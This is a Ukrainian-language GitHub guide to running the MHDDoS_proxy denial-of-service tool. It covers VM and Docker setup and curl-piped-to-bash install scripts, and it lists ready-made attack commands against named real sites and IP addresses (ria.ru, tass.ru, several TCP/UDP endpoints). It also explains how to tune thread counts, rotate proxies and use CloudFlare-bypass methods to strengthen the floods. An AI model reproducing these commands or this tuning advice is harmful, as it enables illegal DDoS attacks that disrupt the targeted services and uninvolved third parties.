Skip to content

Latest commit

 

History

History
246 lines (184 loc) · 20.9 KB

MHDDoS_proxy.md

File metadata and controls

246 lines (184 loc) · 20.9 KB

Детальний розбір MHDDoS_proxy


ЗМІСТ
  1. Підготовка середовища
  2. Запуск атаки
  3. Розбір параметрів
  4. Варіанти атак
  5. Пояснення атак
  6. Післямова
  7. Корисні посилання

ВАЖЛИВО!

  • Для даного типу атак VPN не потрібен, бо під капотом скрипта використовуються proxy. Виняток для адрес типу UDP, тоді потрібно підключати VPN.
  • Особливу увагу зверніть на параметр -t під час виклику команд для атак. Детальніше про нього можете почитати тут. Підбирайте його експериментально в залежності від Вашої машини, чогось універсального, на жаль, немає. Якщо процесор загружений завжди на 100%, то знижуйте цей параметр, якщо не перевалює за 20% - то збільшуйте.

Підготовка середовища

  1. Для даних атак раджу використовувати віртуальні машини на онлайн-сервісах. Ось посилання на авторський гайд по розвертанню віртуальних машин на Digital Ocean. Взагалі можете користуватися будь-якими онлайн-сервісами на свій смак (AWS, Azure, Google Cloud). Посилання на інші гайди можна знайти в загальному Туторіалі.

  2. Також, якщо у Вас Linux, Ubuntu або Mac, можете ранити дані скрипти локально із свого комп'ютера (проте рекомендую все ж таки віртуальні машини на онлайн-сервісах). Якщо ж у Вас Windows, то рекомендую поставити на нього імітатор Linux для власної зручності. Посилання, як це робити. Примітка! OpenVPN у даному гайді скачувати й настроювати не потрібно, лише налаштування віртуальної машини. Скрипт можна ранити й напряму із Windows через PowerShell, але тоді самостійно скачуйте все необхідне (далі наведені всі необхідні посилання).

ВАЖЛИВО! Далі скачуйте або Docker (рекомендовано), або Python у залежності від того, що Ви плануєте далі використовувати.

  1. Docker. Нижче наведено посилання на гайди по тому, як скачувати Docker на різні операційні системи.

    Для Ubuntu Ви також можете використати вже авторський готовий скрипт, який повністю встановить Docker:

    curl -s https://raw.githubusercontent.com/SlavaUkraineSince1991/DDoS-for-all/main/scripts/docker_install.sh | bash
  2. Python. Нижче наведено команду для скачування Python через Термінал для Ubuntu (якщо виникають якісь проблеми, перейдіть за посиланням і попробуйте встановити Python згідно гайду), гайд по встановленню Python на Mac та посилання для скачування Python та Git на Windows.

    • UNIX-подібні (Python)
    sudo apt-get update
    sudo apt install python3 python3-pip

    Також можна встановити Python (і також необхідний код для MHDDoS_proxy) за допомогою готового скрипта:

    curl -s https://raw.githubusercontent.com/SlavaUkraineSince1991/DDoS-for-all/main/scripts/python_git_MHDDoS_proxy_install.sh | bash

    Також добрі люди розробили детальний гайд по встановленню MHDDoS_proxy із нуля на Windows. Ось посилання


Запуск атаки

Нижче наведені приклади атаки на Docker та Python. Загалом конкретні атаки (уже готові команди) дають багато Телеграм-каналів, які використовують даний скрипт для атак. Посилання на ці Телеграм-канали можете знайти тут. Вам потрібно лише скопіювати готовий код і вставити його в Термінал Вашого локального комп'ютера, віртуального середовища, чи віртуальної машини на онлайн-сервісі.

Docker

Приклад коду для запуску скрипта через Docker. Детальніше про параметри скрипта дивіться тут.

ВАЖЛИВО! Якщо Docker викидує якусь помилку, спробуйте запустити його кілька разів (може бути таке, що не вдається зразу встановити зв'язок із проксі-серверами через велику їх нагрузку на даний момент). Якщо ж проблема залишається, то спробуйте варіант із Python нижче (бувало таке, що не вдавалося зпулити Docker імедж через його недавнє видалення, або проблеми із серверами GitHub, де цей Docker імедж зараз зберігається).

sudo docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest https://ria.ru https://tass.ru

Python

Перед запуском скрипта на Python потрібно підтягнути увесь необхідний код із GitHub.

git clone https://github.com/porthole-ascend-cinnamon/mhddos_proxy.git
cd mhddos_proxy
python3 -m pip install -r requirements.txt

Також у Вас є можливість запустити вже готовий скрипт для Ubuntu, який скачає все необхідне, включаючи Python, Git, усі необхідні залежності, серцевий код із ГітаХабу й тд:

curl -s https://raw.githubusercontent.com/SlavaUkraineSince1991/DDoS-for-all/main/scripts/python_git_MHDDoS_proxy_install.sh | bash

Далі просто запускаємо скрипт. Детальніше про параметри скрипта дивіться тут.

python3 runner.py https://ria.ru https://tass.ru

Увага! Якщо виникають якісь проблеми із Python, спробуйте замість python3 написати python (зокрема, так потрібно робити для Windows).


Розбір параметрів

Тут і далі будемо показувати приклади команд із використанням Docker. Якщо Вам потрібен Python, то перейдіть сюди. Або ж просто замінюйте sudo docker run -it --rm ghcr.io/porthole-ascend-cinnamon/mhddos_proxy на python3 runner.py

Взагалі, загальний вигляд команди виглядає так:

sudo docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy <list of targets> -c <config_file> <--itarmy> -t <threads> -p <period> <--debug> <--table> <--vpn> --rpc <n_requests> --proxy-timeout <proxy_timeout> --proxies <proxies.txt>  --http-methods <list of http_methods>

Одразу ж прошу Вас звернути увагу на параметр -t й експериментально встановити значення для нього для конкретно Вашої машини й Вашого інтернету.

Тепер по кожному із параметрів:

  • <list of targets> - список таргетів (адрес), які передаються через пробіл
  • -c <config_file> - посилння на файл із адресами в текстовому форматі (нова адреса із нового рядка)
  • <--itarmy> - підтягує актуальний конфіг-файл із усіма таргетами, які публікуються в IT Army of Ukraine
  • -t <threads> - загальна кількість потоків. Це один із найважливіших параметрів. Його Ви має старатися підібрати оптимальним саме під Вашу машину. За замовчуванням 1000 * к-сть ядер, але не більше 4000. Дивіться нагрузку на CPU та RAM. Якщо нагружені не на максимум, то можна цей параметр збільшити, проте будьте обережні, бо переважно спочатку нагрузка невелика, а потім починає зростати. Якщо ж навпаки, усе загружено по максимуму, старайтеся цей параметр знижувати. Усе залежить від Вашої машини, кількості ядер, інтернету й тд. Можливі значення: 2000 для 1 та 2 ядер; 4000 для 4 ядер; 6000 для більшої к-сті ядер
  • -p <period> - як часто оновлювати проксі. За замовчуванням 900 секунд, тобто кожні 15 хвилин. Впринципі, це значення є оптимальним. Якщо хочете, можете його змінювати
  • <--debug> - чи виводити додаткову інформацію, чи ні. Якщо цей параметр присутній, то виводити, якщо ні, то ні. Бажано використовувати, щоб моніторити, чи взагалі проходять атаки, чи ні
  • <--table> - чи виводити логи у вигляді таблички
  • <--vpn> - прапорець, чи використовувати VPN, чи ні. Якщо цей параметр присутній, то використовувати VPN, якщо ні, то будуть використовуватися проксі. У більшості випадків використовуйте проксі, бо саме в них сила цього скрипту
  • --rpc <n_requests> - скільки запитів відправляти, враховуючи одне проксі. За замовчуванням 2000. Впринципі, це значення є оптимальним. Якщо хочете, можете його змінювати
  • --proxy-timeout <proxy_timeout> - скільки секунд чекати, щоб проксі встановило зв'язок. За замовчуванням 5 секундґ
  • --proxies <proxies.txt> - передати власні проксі. Потрібно покласти файл із проксі поряд із runner.py і вказати замість proxies.txt назву свого файлу із проксі
  • --http-methods <list of http_methods> - список методів для атаки для HTTP адрес. Для TCP та UDP адрес передавати не потрібно! За замовчуванням це метод GET + рандомний серед методів POST та STRESS. Доцільно використовувати, коли для сайту, який ми атакуємо відомий його захист, тоді можна передавати CFB для проходження захисту CloudFlare або CFBUAM для проходження захисту CloudFlare Under Attack Mode. Детальніше про всі методи можна переглянути тут. Якщо ж захист нам невідомий, то доцільно залишити цей параметр дефолтним

І окремо наводжу документацію. Посилання на неї

usage: runner.py target [target ...]
                 [-t THREADS] 
                 [-p PERIOD]
                 [-c URL]
                 [--table]
                 [--debug]
                 [--vpn]
                 [--rpc RPC] 
                 [--proxy-timeout TIMEOUT]
                 [--http-methods METHOD [METHOD ...]]

positional arguments:
  targets                List of targets, separated by space

optional arguments:
  -h, --help             show this help message and exit
  -c, --config URL|path  URL or local path to file with attack targets
  -t, --threads 2000     Total number of threads to run (default is CPU * 1000)
  -p, --period 900       How often to update the proxies (default is 900)
  --table                Print log as table
  --debug                Print log as text
  --vpn                  Disable proxies to use VPN
  --rpc 2000             How many requests to send on a single proxy connection (default is 2000)
  --proxy-timeout 5      How many seconds to wait for the proxy to make a connection (default is 5)
  --proxies URL|path     URL or local path to file with proxies to use
  --http-methods GET     List of HTTP(s) attack methods to use.
                         (default is GET, POST, STRESS, BOT, PPS)
                         Refer to MHDDoS docs for available options
                         (https://github.com/MHProDev/MHDDoS)

Варіанти атак

  • Атака на Layer 7 (HTTP(S) по URL)

    sudo docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest https://ria.ru https://tass.ru -t 1000 --debug
  • Атака на Layer 7 (HTTP по IP + PORT)

    sudo docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest 5.188.56.124:80 5.188.56.124:3606 -t 1000 --debug
  • Атака на Layer 4 (по TCP адресам)

    sudo docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest tcp://194.54.14.131:4477 tcp://194.54.14.131:22 -t 1000 --debug
  • Атака на Layer 4 (по UDP адресам)

    Необхідно використовувати VPN!!! Налаштувати його можна за допомогою ось цього гайду, гортайте нижче.

    sudo docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest udp://217.175.155.100:53 -t 1000 --debug
  • Комбінована атака

    sudo docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest https://ria.ru tcp://194.54.14.131:22 -t 1000 --debug

Пояснення атак

Після запуску атак повинен з'явитися наступний текст. Якщо з'явився, значить усе добре, скрипт запустився й працює.

Після з'єднання й налаштування проксі, має з'явитися інформація про атаки. Якщо вивід приблизно такий, як на скріні (серед атак із 0 нагрузкою на таргет часто трапляються ті, які роблять нагрузку), значить усе добре, скрипт працює, атака йде. Періодично моніторьте, чи вивід залишається таким. Якщо ні - то можете перезапустити атаку.

І коротко про параметри атаки:

  • PPS - кількість встановлених з'єднань із ціллю атаки
  • BPS - вага пакетів у байтах, кілобайтах, мегабайтах. Оптимально в районі 500 Кб. Може бути й менше, а може бути набагато більше. Це залежить від багатьох факторів. Головне, щоб пакети регулярно відправлялися й не було постійних нулів
  • % - це просто хід вашої атаки, час до обновлення проксі, нічого спільного із ефективністю не має

Післямова

Ось і все. Якщо виникають будь-які питання, пишіть їх у коментарях під постами в цьому Телеграм-каналі.

Вдалого бомбардування рашистських сайтів! Слава Україні!


Корисні посилання




Гайд підготовлений командою DDOS Tutorial for all. Посилання на Телеграм-канал